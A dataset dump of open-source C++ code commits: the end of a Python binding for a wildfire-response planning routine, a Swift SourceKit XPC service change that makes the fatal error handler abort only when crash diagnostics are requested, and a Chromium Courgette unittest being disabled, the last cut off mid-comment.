&SearchResult::intermediate_plans)\n .def(\"metadata\", [](SearchResult &self) { return self.metadata.dump(); } );\n\n m.def(\"plan_vns\", [](vector<TrajectoryConfig> configs, DRaster ignitions, DRaster elevation, const std::string& json_conf) -> SearchResult {\n auto time = []() {\n struct timeval tp;\n gettimeofday(&tp, NULL);\n return (double) tp.tv_sec + ((double)(tp.tv_usec \/ 1000) \/1000.);\n };\n json conf = json::parse(json_conf);\n const double min_time = conf[\"min_time\"];\n const double max_time = conf[\"max_time\"];\n const size_t save_every = conf[\"save_every\"];\n const bool save_improvements = conf[\"save_improvements\"];\n const size_t discrete_elevation_interval = conf[\"discrete_elevation_interval\"];\n\n\n printf(\"Processing firedata data\\n\");\n double preprocessing_start = time();\n shared_ptr<FireData> fire_data;\n if (discrete_elevation_interval > 0) {\n fire_data = make_shared<FireData>(ignitions, DiscreteDRaster(elevation, discrete_elevation_interval));\n } else {\n fire_data = make_shared<FireData>(ignitions, elevation);\n }\n double preprocessing_end = time();\n\n printf(\"Building initial plan\\n\");\n Plan p(configs, fire_data, TimeWindow{min_time, max_time});\n\n printf(\"Planning\\n\");\n auto vns = vns::build_from_config(conf[\"vns\"].dump());\n const double planning_start = time();\n auto res = vns->search(p, 0, save_every, save_improvements);\n const double planning_end = time();\n printf(\"Plan found\\n\");\n res.metadata[\"planning_time\"] = planning_end - planning_start;\n res.metadata[\"preprocessing_time\"] = preprocessing_end - preprocessing_start;\n res.metadata[\"configuration\"] = conf;\n return res;\n }, py::arg(\"trajectory_configs\"), py::arg(\"ignitions\"), py::arg(\"elevation\"), py::arg(\"json_conf\"),\n py::call_guard<py::gil_scoped_release>());\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===--- XPCService.cpp ---------------------------------------------------===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"sourcekitd\/Internal-XPC.h\"\n#include \"sourcekitd\/Logging.h\"\n\n#include \"SourceKit\/Core\/LLVM.h\"\n#include \"SourceKit\/Support\/Concurrency.h\"\n#include \"SourceKit\/Support\/UIdent.h\"\n#include \"SourceKit\/Support\/Logging.h\"\n\n#include \"llvm\/ADT\/DenseMap.h\"\n#include \"llvm\/Support\/ErrorHandling.h\"\n#include \"llvm\/Support\/Errno.h\"\n#include \"llvm\/Support\/FileSystem.h\"\n#include \"llvm\/Support\/Path.h\"\n#include \"llvm\/Support\/Threading.h\"\n\n#include <xpc\/xpc.h>\n\nusing namespace SourceKit;\nusing namespace sourcekitd;\n\nstatic xpc_connection_t MainConnection = nullptr;\n\nvoid sourcekitd::postNotification(sourcekitd_response_t Notification) {\n xpc_connection_t peer = MainConnection;\n if (!peer)\n goto done;\n\n {\n xpc_object_t contents = xpc_array_create(nullptr, 0);\n xpc_array_set_uint64(contents, XPC_ARRAY_APPEND,\n (uint64_t)xpc::Message::Notification);\n xpc_array_set_value(contents, XPC_ARRAY_APPEND, Notification);\n\n xpc_object_t msg = xpc_dictionary_create(nullptr, nullptr, 0);\n xpc_dictionary_set_value(msg, xpc::KeyInternalMsg, contents);\n xpc_release(contents);\n\n xpc_connection_send_message(peer, msg);\n xpc_release(msg);\n }\n\ndone:\n \/\/ The function accepted ownership.\n xpc_release(Notification);\n}\n\nnamespace {\n\/\/\/ \\brief Associates sourcekitd_uid_t to a UIdent.\nclass SKUIDToUIDMap {\n typedef llvm::DenseMap<void *, UIdent> MapTy;\n MapTy Map;\n WorkQueue Queue{ WorkQueue::Dequeuing::Concurrent, \"UIDMap\" };\n\npublic:\n UIdent get(sourcekitd_uid_t SKDUID);\n void set(sourcekitd_uid_t SKDUID, UIdent UID);\n};\n}\n\nstatic SKUIDToUIDMap UIDMap;\n\nsourcekitd_uid_t sourcekitd::SKDUIDFromUIdent(UIdent UID) {\n if (void *Tag = UID.getTag())\n return reinterpret_cast<sourcekitd_uid_t>(Tag);\n\n \/\/ FIXME: The following should run in the synchronous dispatch queue of the\n \/\/ connection. But does it matter, since if MainConnection is null or gets\n \/\/ destroyed it means the client crashed ?\n xpc_connection_t peer = MainConnection;\n if (!peer)\n return nullptr;\n\n xpc_object_t contents = xpc_array_create(nullptr, 0);\n xpc_array_set_uint64(contents, XPC_ARRAY_APPEND,\n (uint64_t)xpc::Message::UIDSynchronization);\n xpc_array_set_string(contents, XPC_ARRAY_APPEND, UID.c_str());\n\n xpc_object_t msg = xpc_dictionary_create(nullptr, nullptr, 0);\n xpc_dictionary_set_value(msg, xpc::KeyInternalMsg, contents);\n xpc_release(contents);\n\n xpc_object_t reply = xpc_connection_send_message_with_reply_sync(peer, msg);\n xpc_release(msg);\n if (xpc_get_type(reply) == XPC_TYPE_ERROR) {\n xpc_release(reply);\n return nullptr;\n }\n\n assert(xpc_get_type(reply) == XPC_TYPE_DICTIONARY);\n uint64_t val = xpc_dictionary_get_uint64(reply, xpc::KeyMsgResponse);\n xpc_release(reply);\n\n sourcekitd_uid_t skduid = sourcekitd_uid_t(val);\n UID.setTag(skduid);\n UIDMap.set(skduid, UID);\n return skduid;\n}\n\nUIdent sourcekitd::UIdentFromSKDUID(sourcekitd_uid_t SKDUID) {\n \/\/ This should be used only for debugging\/logging purposes.\n\n UIdent UID = UIDMap.get(SKDUID);\n if (UID.isValid())\n return UID;\n\n xpc_connection_t Peer = MainConnection;\n if (!Peer)\n return UIdent();\n\n xpc_object_t contents = xpc_array_create(nullptr, 0);\n xpc_array_set_uint64(contents, XPC_ARRAY_APPEND,\n (uint64_t)xpc::Message::UIDSynchronization);\n xpc_array_set_uint64(contents, XPC_ARRAY_APPEND, uintptr_t(SKDUID));\n\n xpc_object_t msg = xpc_dictionary_create(nullptr, nullptr, 0);\n xpc_dictionary_set_value(msg, xpc::KeyInternalMsg, contents);\n xpc_release(contents);\n\n xpc_object_t reply = xpc_connection_send_message_with_reply_sync(Peer, msg);\n xpc_release(msg);\n if (xpc_get_type(reply) == XPC_TYPE_ERROR) {\n xpc_release(reply);\n return UIdent();\n }\n\n assert(xpc_get_type(reply) == XPC_TYPE_DICTIONARY);\n const char *Str = xpc_dictionary_get_string(reply, xpc::KeyMsgResponse);\n\n UID = UIdent(Str);\n UID.setTag(SKDUID);\n UIDMap.set(SKDUID, UID);\n\n xpc_release(reply);\n return UID;\n}\n\nvoid anchorForGetMainExecutableInXPCService() {}\n\nnamespace {\n\/\/\/ Responsible for replying to an XPC request.\nclass XPCResponder {\n xpc_connection_t Peer;\n xpc_object_t Event;\n bool Responded = false;\n\npublic:\n XPCResponder(xpc_object_t event, xpc_connection_t peer)\n : Peer(xpc_connection_t(xpc_retain(peer))), Event(xpc_retain(event)) {}\n\n ~XPCResponder() {\n if (!Responded) {\n LOG_WARN_FUNC(\"failed to respond to request\");\n sendReply(createErrorRequestFailed(\"Internal error: no response was \"\n \"provided for the request\"));\n }\n xpc_release(Event);\n xpc_release(Peer);\n }\n\n \/\/\/ Accepts ownership of the response object.\n void sendReply(sourcekitd_response_t response) {\n if (Responded) {\n LOG_WARN_FUNC(\"tried to respond to an already handled request\");\n return;\n }\n\n xpc_object_t reply = xpc_dictionary_create_reply(Event);\n xpc_dictionary_set_value(reply, xpc::KeyMsgResponse, response);\n xpc_release(response);\n\n xpc_connection_send_message(Peer, reply);\n xpc_release(reply);\n Responded = true;\n }\n};\n}\n\nstd::string sourcekitd::getRuntimeLibPath() {\n std::string MainExePath = llvm::sys::fs::getMainExecutable(\"sourcekit\",\n reinterpret_cast<void *>(&anchorForGetMainExecutableInXPCService));\n#ifdef SOURCEKIT_UNVERSIONED_FRAMEWORK_BUNDLE\n \/\/ MainExePath points to \"lib\/sourcekitd.framework\/XPCServices\/\n \/\/ SourceKitService.xpc\/SourceKitService\"\n const unsigned MainExeLibNestingLevel = 4;\n#else\n \/\/ MainExePath points to \"lib\/sourcekitd.framework\/Versions\/Current\/XPCServices\/\n \/\/ SourceKitService.xpc\/Contents\/MacOS\/SourceKitService\"\n const unsigned MainExeLibNestingLevel = 8;\n#endif\n\n \/\/ Get it to lib.\n StringRef Path = MainExePath;\n for (unsigned i = 0; i < MainExeLibNestingLevel; ++i)\n Path = llvm::sys::path::parent_path(Path);\n return Path;\n}\n\nstatic void sourcekitdServer_peer_event_handler(xpc_connection_t peer,\n xpc_object_t event) {\n xpc_type_t type = xpc_get_type(event);\n if (type == XPC_TYPE_ERROR) {\n if (event == XPC_ERROR_CONNECTION_INVALID) {\n \/\/ The client process on the other end of the connection has either\n \/\/ crashed or cancelled the connection. After receiving this error,\n \/\/ the connection is in an invalid state, and we do not need to\n \/\/ call xpc_connection_cancel().\n \/\/ No need to call sourcekitd::shutdown() since the process is going down\n \/\/ anyway, plus if we get a new connection before the process closes then\n \/\/ we will fail to re-initialize properly since the initialize call is at\n \/\/ main.\n xpc_transaction_end();\n } else if (event == XPC_ERROR_TERMINATION_IMMINENT) {\n \/\/ Handle per-connection termination cleanup.\n xpc_connection_cancel(peer);\n }\n\n } else {\n assert(type == XPC_TYPE_DICTIONARY);\n \/\/ Handle the message\n xpc_retain(event);\n dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT,0),\n ^{\n xpc_object_t contents = xpc_dictionary_get_value(event, \"msg\");\n\n if (!contents) {\n \/\/ Ping back.\n contents = xpc_dictionary_get_value(event, \"ping\");\n assert(contents && \"unexpected message\");\n xpc_object_t reply = xpc_dictionary_create_reply(event);\n assert(reply);\n xpc_connection_send_message(peer, reply);\n xpc_release(reply);\n return;\n }\n\n auto Responder = std::make_shared<XPCResponder>(event, peer);\n xpc_release(event);\n\n assert(xpc_get_type(contents) == XPC_TYPE_ARRAY);\n sourcekitd_object_t req = xpc_array_get_value(contents, 0);\n sourcekitd::handleRequest(req,\n [Responder](sourcekitd_response_t response) {\n Responder->sendReply(response);\n });\n });\n }\n}\n\nstatic void getInitializationInfo(xpc_connection_t peer) {\n xpc_object_t contents = xpc_array_create(nullptr, 0);\n xpc_array_set_uint64(contents, XPC_ARRAY_APPEND,\n (uint64_t)xpc::Message::Initialization);\n\n xpc_object_t msg = xpc_dictionary_create(nullptr, nullptr, 0);\n xpc_dictionary_set_value(msg, xpc::KeyInternalMsg, contents);\n xpc_release(contents);\n\n xpc_object_t reply = xpc_connection_send_message_with_reply_sync(peer, msg);\n xpc_release(msg);\n if (xpc_get_type(reply) == XPC_TYPE_ERROR) {\n xpc_release(reply);\n return;\n }\n\n assert(xpc_get_type(reply) == XPC_TYPE_DICTIONARY);\n uint64_t Delay = xpc_dictionary_get_uint64(reply, xpc::KeySemaEditorDelay);\n xpc_release(reply);\n\n if (Delay != 0) {\n llvm::SmallString<4> Buf;\n {\n llvm::raw_svector_ostream OS(Buf);\n OS << Delay;\n }\n setenv(\"SOURCEKIT_DELAY_SEMA_EDITOR\", Buf.c_str(), \/*overwrite=*\/1);\n }\n}\n\nstatic void sourcekitdServer_event_handler(xpc_connection_t peer) {\n \/\/ Keep the service alive even when idle.\n xpc_transaction_begin();\n\n \/\/ By defaults, new connections will target the default dispatch\n \/\/ concurrent queue.\n xpc_connection_set_event_handler(peer, ^(xpc_object_t event) {\n sourcekitdServer_peer_event_handler(peer, event);\n });\n\n \/\/ Update the main connection\n xpc_retain(peer);\n if (MainConnection)\n xpc_release(MainConnection);\n MainConnection = peer;\n\n \/\/ This will tell the connection to begin listening for events. If you\n \/\/ have some other initialization that must be done asynchronously, then\n \/\/ you can defer this call until after that initialization is done.\n xpc_connection_resume(peer);\n\n dispatch_async(dispatch_get_main_queue(), ^{\n getInitializationInfo(MainConnection);\n });\n}\n\nstatic void fatal_error_handler(void *user_data, const std::string& reason,\n bool gen_crash_diag) {\n \/\/ Write the result out to stderr avoiding errs() because raw_ostreams can\n \/\/ call report_fatal_error.\n fprintf(stderr, \"SOURCEKITD SERVER FATAL ERROR: %s\\n\", reason.c_str());\n ::abort();\n}\n\nint main(int argc, const char *argv[]) {\n llvm::install_fatal_error_handler(fatal_error_handler, 0);\n sourcekitd::enableLogging(\"sourcekit-serv\");\n sourcekitd::initialize();\n\n \/\/ Increase the file descriptor limit.\n \/\/ FIXME: Portability ?\n static const size_t FDLimit = 4096;\n struct rlimit l;\n if (getrlimit(RLIMIT_NOFILE, &l) == 0) {\n if (l.rlim_cur < FDLimit) {\n l.rlim_cur = FDLimit;\n if (setrlimit(RLIMIT_NOFILE, &l) == 0) {\n LOG_INFO_FUNC(Low, \"bumped file descriptor limit to \" << FDLimit);\n } else {\n LOG_WARN_FUNC(\"setrlimit failed: \" << llvm::sys::StrError());\n }\n }\n } else {\n LOG_WARN_FUNC(\"getrlimit failed: \" << llvm::sys::StrError());\n }\n\n xpc_main(sourcekitdServer_event_handler);\n return 0;\n}\n\nUIdent SKUIDToUIDMap::get(sourcekitd_uid_t SKDUID) {\n UIdent UID;\n Queue.dispatchSync([&]{\n MapTy::iterator It = Map.find(SKDUID);\n if (It != Map.end())\n UID = It->second;\n });\n\n return UID;\n}\n\nvoid SKUIDToUIDMap::set(sourcekitd_uid_t SKDUID, UIdent UID) {\n Queue.dispatchBarrier([=]{\n this->Map[SKDUID] = UID;\n });\n}\n<commit_msg>[sourcekitd] In the fatal error handler, don't call abort() if gen_crash_diag is false<commit_after>\/\/===--- XPCService.cpp ---------------------------------------------------===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"sourcekitd\/Internal-XPC.h\"\n#include \"sourcekitd\/Logging.h\"\n\n#include \"SourceKit\/Core\/LLVM.h\"\n#include \"SourceKit\/Support\/Concurrency.h\"\n#include \"SourceKit\/Support\/UIdent.h\"\n#include \"SourceKit\/Support\/Logging.h\"\n\n#include \"llvm\/ADT\/DenseMap.h\"\n#include \"llvm\/Support\/ErrorHandling.h\"\n#include \"llvm\/Support\/Errno.h\"\n#include \"llvm\/Support\/FileSystem.h\"\n#include \"llvm\/Support\/Path.h\"\n#include \"llvm\/Support\/Threading.h\"\n\n#include <xpc\/xpc.h>\n\nusing namespace SourceKit;\nusing namespace sourcekitd;\n\nstatic xpc_connection_t MainConnection = nullptr;\n\nvoid sourcekitd::postNotification(sourcekitd_response_t Notification) {\n xpc_connection_t peer = MainConnection;\n if (!peer)\n goto done;\n\n {\n xpc_object_t contents = xpc_array_create(nullptr, 0);\n xpc_array_set_uint64(contents, XPC_ARRAY_APPEND,\n (uint64_t)xpc::Message::Notification);\n xpc_array_set_value(contents, XPC_ARRAY_APPEND, Notification);\n\n xpc_object_t msg = xpc_dictionary_create(nullptr, nullptr, 0);\n xpc_dictionary_set_value(msg, xpc::KeyInternalMsg, contents);\n xpc_release(contents);\n\n xpc_connection_send_message(peer, msg);\n xpc_release(msg);\n }\n\ndone:\n \/\/ The function accepted ownership.\n xpc_release(Notification);\n}\n\nnamespace {\n\/\/\/ \\brief Associates sourcekitd_uid_t to a UIdent.\nclass SKUIDToUIDMap {\n typedef llvm::DenseMap<void *, UIdent> MapTy;\n MapTy Map;\n WorkQueue Queue{ WorkQueue::Dequeuing::Concurrent, \"UIDMap\" };\n\npublic:\n UIdent get(sourcekitd_uid_t SKDUID);\n void set(sourcekitd_uid_t SKDUID, UIdent UID);\n};\n}\n\nstatic SKUIDToUIDMap UIDMap;\n\nsourcekitd_uid_t sourcekitd::SKDUIDFromUIdent(UIdent UID) {\n if (void *Tag = UID.getTag())\n return reinterpret_cast<sourcekitd_uid_t>(Tag);\n\n \/\/ FIXME: The following should run in the synchronous dispatch queue of the\n \/\/ connection. But does it matter, since if MainConnection is null or gets\n \/\/ destroyed it means the client crashed ?\n xpc_connection_t peer = MainConnection;\n if (!peer)\n return nullptr;\n\n xpc_object_t contents = xpc_array_create(nullptr, 0);\n xpc_array_set_uint64(contents, XPC_ARRAY_APPEND,\n (uint64_t)xpc::Message::UIDSynchronization);\n xpc_array_set_string(contents, XPC_ARRAY_APPEND, UID.c_str());\n\n xpc_object_t msg = xpc_dictionary_create(nullptr, nullptr, 0);\n xpc_dictionary_set_value(msg, xpc::KeyInternalMsg, contents);\n xpc_release(contents);\n\n xpc_object_t reply = xpc_connection_send_message_with_reply_sync(peer, msg);\n xpc_release(msg);\n if (xpc_get_type(reply) == XPC_TYPE_ERROR) {\n xpc_release(reply);\n return nullptr;\n }\n\n assert(xpc_get_type(reply) == XPC_TYPE_DICTIONARY);\n uint64_t val = xpc_dictionary_get_uint64(reply, xpc::KeyMsgResponse);\n xpc_release(reply);\n\n sourcekitd_uid_t skduid = sourcekitd_uid_t(val);\n UID.setTag(skduid);\n UIDMap.set(skduid, UID);\n return skduid;\n}\n\nUIdent sourcekitd::UIdentFromSKDUID(sourcekitd_uid_t SKDUID) {\n \/\/ This should be used only for debugging\/logging purposes.\n\n UIdent UID = UIDMap.get(SKDUID);\n if (UID.isValid())\n return UID;\n\n xpc_connection_t Peer = MainConnection;\n if (!Peer)\n return UIdent();\n\n xpc_object_t contents = xpc_array_create(nullptr, 0);\n xpc_array_set_uint64(contents, XPC_ARRAY_APPEND,\n (uint64_t)xpc::Message::UIDSynchronization);\n xpc_array_set_uint64(contents, XPC_ARRAY_APPEND, uintptr_t(SKDUID));\n\n xpc_object_t msg = xpc_dictionary_create(nullptr, nullptr, 0);\n xpc_dictionary_set_value(msg, xpc::KeyInternalMsg, contents);\n xpc_release(contents);\n\n xpc_object_t reply = xpc_connection_send_message_with_reply_sync(Peer, msg);\n xpc_release(msg);\n if (xpc_get_type(reply) == XPC_TYPE_ERROR) {\n xpc_release(reply);\n return UIdent();\n }\n\n assert(xpc_get_type(reply) == XPC_TYPE_DICTIONARY);\n const char *Str = xpc_dictionary_get_string(reply, xpc::KeyMsgResponse);\n\n UID = UIdent(Str);\n UID.setTag(SKDUID);\n UIDMap.set(SKDUID, UID);\n\n xpc_release(reply);\n return UID;\n}\n\nvoid anchorForGetMainExecutableInXPCService() {}\n\nnamespace {\n\/\/\/ Responsible for replying to an XPC request.\nclass XPCResponder {\n xpc_connection_t Peer;\n xpc_object_t Event;\n bool Responded = false;\n\npublic:\n XPCResponder(xpc_object_t event, xpc_connection_t peer)\n : Peer(xpc_connection_t(xpc_retain(peer))), Event(xpc_retain(event)) {}\n\n ~XPCResponder() {\n if (!Responded) {\n LOG_WARN_FUNC(\"failed to respond to request\");\n sendReply(createErrorRequestFailed(\"Internal error: no response was \"\n \"provided for the request\"));\n }\n xpc_release(Event);\n xpc_release(Peer);\n }\n\n \/\/\/ Accepts ownership of the response object.\n void sendReply(sourcekitd_response_t response) {\n if (Responded) {\n LOG_WARN_FUNC(\"tried to respond to an already handled request\");\n return;\n }\n\n xpc_object_t reply = xpc_dictionary_create_reply(Event);\n xpc_dictionary_set_value(reply, xpc::KeyMsgResponse, response);\n xpc_release(response);\n\n xpc_connection_send_message(Peer, reply);\n xpc_release(reply);\n Responded = true;\n }\n};\n}\n\nstd::string sourcekitd::getRuntimeLibPath() {\n std::string MainExePath = llvm::sys::fs::getMainExecutable(\"sourcekit\",\n reinterpret_cast<void *>(&anchorForGetMainExecutableInXPCService));\n#ifdef SOURCEKIT_UNVERSIONED_FRAMEWORK_BUNDLE\n \/\/ MainExePath points to \"lib\/sourcekitd.framework\/XPCServices\/\n \/\/ SourceKitService.xpc\/SourceKitService\"\n const unsigned MainExeLibNestingLevel = 4;\n#else\n \/\/ MainExePath points to \"lib\/sourcekitd.framework\/Versions\/Current\/XPCServices\/\n \/\/ SourceKitService.xpc\/Contents\/MacOS\/SourceKitService\"\n const unsigned MainExeLibNestingLevel = 8;\n#endif\n\n \/\/ Get it to lib.\n StringRef Path = MainExePath;\n for (unsigned i = 0; i < MainExeLibNestingLevel; ++i)\n Path = llvm::sys::path::parent_path(Path);\n return Path;\n}\n\nstatic void sourcekitdServer_peer_event_handler(xpc_connection_t peer,\n xpc_object_t event) {\n xpc_type_t type = xpc_get_type(event);\n if (type == XPC_TYPE_ERROR) {\n if (event == XPC_ERROR_CONNECTION_INVALID) {\n \/\/ The client process on the other end of the connection has either\n \/\/ crashed or cancelled the connection. After receiving this error,\n \/\/ the connection is in an invalid state, and we do not need to\n \/\/ call xpc_connection_cancel().\n \/\/ No need to call sourcekitd::shutdown() since the process is going down\n \/\/ anyway, plus if we get a new connection before the process closes then\n \/\/ we will fail to re-initialize properly since the initialize call is at\n \/\/ main.\n xpc_transaction_end();\n } else if (event == XPC_ERROR_TERMINATION_IMMINENT) {\n \/\/ Handle per-connection termination cleanup.\n xpc_connection_cancel(peer);\n }\n\n } else {\n assert(type == XPC_TYPE_DICTIONARY);\n \/\/ Handle the message\n xpc_retain(event);\n dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT,0),\n ^{\n xpc_object_t contents = xpc_dictionary_get_value(event, \"msg\");\n\n if (!contents) {\n \/\/ Ping back.\n contents = xpc_dictionary_get_value(event, \"ping\");\n assert(contents && \"unexpected message\");\n xpc_object_t reply = xpc_dictionary_create_reply(event);\n assert(reply);\n xpc_connection_send_message(peer, reply);\n xpc_release(reply);\n return;\n }\n\n auto Responder = std::make_shared<XPCResponder>(event, peer);\n xpc_release(event);\n\n assert(xpc_get_type(contents) == XPC_TYPE_ARRAY);\n sourcekitd_object_t req = xpc_array_get_value(contents, 0);\n sourcekitd::handleRequest(req,\n [Responder](sourcekitd_response_t response) {\n Responder->sendReply(response);\n });\n });\n }\n}\n\nstatic void getInitializationInfo(xpc_connection_t peer) {\n xpc_object_t contents = xpc_array_create(nullptr, 0);\n xpc_array_set_uint64(contents, XPC_ARRAY_APPEND,\n (uint64_t)xpc::Message::Initialization);\n\n xpc_object_t msg = xpc_dictionary_create(nullptr, nullptr, 0);\n xpc_dictionary_set_value(msg, xpc::KeyInternalMsg, contents);\n xpc_release(contents);\n\n xpc_object_t reply = xpc_connection_send_message_with_reply_sync(peer, msg);\n xpc_release(msg);\n if (xpc_get_type(reply) == XPC_TYPE_ERROR) {\n xpc_release(reply);\n return;\n }\n\n assert(xpc_get_type(reply) == XPC_TYPE_DICTIONARY);\n uint64_t Delay = xpc_dictionary_get_uint64(reply, xpc::KeySemaEditorDelay);\n xpc_release(reply);\n\n if (Delay != 0) {\n llvm::SmallString<4> Buf;\n {\n llvm::raw_svector_ostream OS(Buf);\n OS << Delay;\n }\n setenv(\"SOURCEKIT_DELAY_SEMA_EDITOR\", Buf.c_str(), \/*overwrite=*\/1);\n }\n}\n\nstatic void sourcekitdServer_event_handler(xpc_connection_t peer) {\n \/\/ Keep the service alive even when idle.\n xpc_transaction_begin();\n\n \/\/ By defaults, new connections will target the default dispatch\n \/\/ concurrent queue.\n xpc_connection_set_event_handler(peer, ^(xpc_object_t event) {\n sourcekitdServer_peer_event_handler(peer, event);\n });\n\n \/\/ Update the main connection\n xpc_retain(peer);\n if (MainConnection)\n xpc_release(MainConnection);\n MainConnection = peer;\n\n \/\/ This will tell the connection to begin listening for events. If you\n \/\/ have some other initialization that must be done asynchronously, then\n \/\/ you can defer this call until after that initialization is done.\n xpc_connection_resume(peer);\n\n dispatch_async(dispatch_get_main_queue(), ^{\n getInitializationInfo(MainConnection);\n });\n}\n\nstatic void fatal_error_handler(void *user_data, const std::string& reason,\n bool gen_crash_diag) {\n \/\/ Write the result out to stderr avoiding errs() because raw_ostreams can\n \/\/ call report_fatal_error.\n fprintf(stderr, \"SOURCEKITD SERVER FATAL ERROR: %s\\n\", reason.c_str());\n if (gen_crash_diag)\n ::abort();\n}\n\nint main(int argc, const char *argv[]) {\n llvm::install_fatal_error_handler(fatal_error_handler, 0);\n sourcekitd::enableLogging(\"sourcekit-serv\");\n sourcekitd::initialize();\n\n \/\/ Increase the file descriptor limit.\n \/\/ FIXME: Portability ?\n static const size_t FDLimit = 4096;\n struct rlimit l;\n if (getrlimit(RLIMIT_NOFILE, &l) == 0) {\n if (l.rlim_cur < FDLimit) {\n l.rlim_cur = FDLimit;\n if (setrlimit(RLIMIT_NOFILE, &l) == 0) {\n LOG_INFO_FUNC(Low, \"bumped file descriptor limit to \" << FDLimit);\n } else {\n LOG_WARN_FUNC(\"setrlimit failed: \" << llvm::sys::StrError());\n }\n }\n } else {\n LOG_WARN_FUNC(\"getrlimit failed: \" << llvm::sys::StrError());\n }\n\n xpc_main(sourcekitdServer_event_handler);\n return 0;\n}\n\nUIdent SKUIDToUIDMap::get(sourcekitd_uid_t SKDUID) {\n UIdent UID;\n Queue.dispatchSync([&]{\n MapTy::iterator It = Map.find(SKDUID);\n if (It != Map.end())\n UID = It->second;\n });\n\n return UID;\n}\n\nvoid SKUIDToUIDMap::set(sourcekitd_uid_t SKDUID, UIdent UID) {\n Queue.dispatchBarrier([=]{\n this->Map[SKDUID] = UID;\n });\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"courgette\/base_test_unittest.h\"\n#include \"courgette\/courgette.h\"\n#include \"courgette\/streams.h\"\n\nclass EnsembleTest : public BaseTest {\n public:\n\n void TestEnsemble(std::string src_bytes, std::string tgt_bytes) const;\n\n void PeEnsemble() const;\n};\n\nvoid EnsembleTest::TestEnsemble(std::string src_bytes,\n std::string tgt_bytes) const {\n\n courgette::SourceStream source;\n courgette::SourceStream target;\n\n source.Init(src_bytes);\n target.Init(tgt_bytes);\n\n courgette::SinkStream patch_sink;\n\n courgette::Status status;\n\n status = courgette::GenerateEnsemblePatch(&source, &target, &patch_sink);\n EXPECT_EQ(courgette::C_OK, status);\n\n courgette::SourceStream patch_source;\n patch_source.Init(patch_sink.Buffer(), patch_sink.Length());\n\n courgette::SinkStream patch_result;\n\n status = courgette::ApplyEnsemblePatch(&source, &patch_source, &patch_result);\n EXPECT_EQ(courgette::C_OK, status);\n\n EXPECT_EQ(target.OriginalLength(), patch_result.Length());\n EXPECT_FALSE(memcmp(target.Buffer(),\n patch_result.Buffer(),\n target.OriginalLength()));\n}\n\nvoid EnsembleTest::PeEnsemble() const {\n std::list<std::string> src_ensemble;\n std::list<std::string> tgt_ensemble;\n\n src_ensemble.push_back(\"en-US.dll\");\n src_ensemble.push_back(\"setup1.exe\");\n src_ensemble.push_back(\"elf-32-1\");\n src_ensemble.push_back(\"pe-64.exe\");\n\n tgt_ensemble.push_back(\"en-US.dll\");\n tgt_ensemble.push_back(\"setup2.exe\");\n tgt_ensemble.push_back(\"elf-32-2\");\n tgt_ensemble.push_back(\"pe-64.exe\");\n\n std::string src_bytes = FilesContents(src_ensemble);\n std::string tgt_bytes = FilesContents(tgt_ensemble);\n\n src_bytes = \"aaabbbccc\" + src_bytes + \"dddeeefff\";\n tgt_bytes = \"aaagggccc\" + tgt_bytes + \"dddeeefff\";\n\n TestEnsemble(src_bytes, tgt_bytes);\n}\n\nTEST_F(EnsembleTest, All) {\n PeEnsemble();\n}\n<commit_msg>Disable the Courgette ensemble unittest.<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"courgette\/base_test_unittest.h\"\n#include \"courgette\/courgette.h\"\n#include \"courgette\/streams.h\"\n\nclass EnsembleTest : public BaseTest {\n public:\n\n void TestEnsemble(std::string src_bytes, std::string tgt_bytes) const;\n\n void PeEnsemble() const;\n};\n\nvoid EnsembleTest::TestEnsemble(std::string src_bytes,\n std::string tgt_bytes) const {\n\n courgette::SourceStream source;\n courgette::SourceStream target;\n\n source.Init(src_bytes);\n target.Init(tgt_bytes);\n\n courgette::SinkStream patch_sink;\n\n courgette::Status status;\n\n status = courgette::GenerateEnsemblePatch(&source, &target, &patch_sink);\n EXPECT_EQ(courgette::C_OK, status);\n\n courgette::SourceStream patch_source;\n patch_source.Init(patch_sink.Buffer(), patch_sink.Length());\n\n courgette::SinkStream patch_result;\n\n status = courgette::ApplyEnsemblePatch(&source, &patch_source, &patch_result);\n EXPECT_EQ(courgette::C_OK, status);\n\n EXPECT_EQ(target.OriginalLength(), patch_result.Length());\n EXPECT_FALSE(memcmp(target.Buffer(),\n patch_result.Buffer(),\n target.OriginalLength()));\n}\n\nvoid EnsembleTest::PeEnsemble() const {\n std::list<std::string> src_ensemble;\n std::list<std::string> tgt_ensemble;\n\n src_ensemble.push_back(\"en-US.dll\");\n src_ensemble.push_back(\"setup1.exe\");\n src_ensemble.push_back(\"elf-32-1\");\n src_ensemble.push_back(\"pe-64.exe\");\n\n tgt_ensemble.push_back(\"en-US.dll\");\n tgt_ensemble.push_back(\"setup2.exe\");\n tgt_ensemble.push_back(\"elf-32-2\");\n tgt_ensemble.push_back(\"pe-64.exe\");\n\n std::string src_bytes = FilesContents(src_ensemble);\n std::string tgt_bytes = FilesContents(tgt_ensemble);\n\n src_bytes = \"aaabbbccc\" + src_bytes + \"dddeeefff\";\n tgt_bytes = \"aaagggccc\" + tgt_bytes + \"dddeeefff\";\n\n TestEnsemble(src_bytes, tgt_bytes);\n}\n\nTEST_F(EnsembleTest, DISABLED_All) {\n \/\/ TODO(dgarrett) 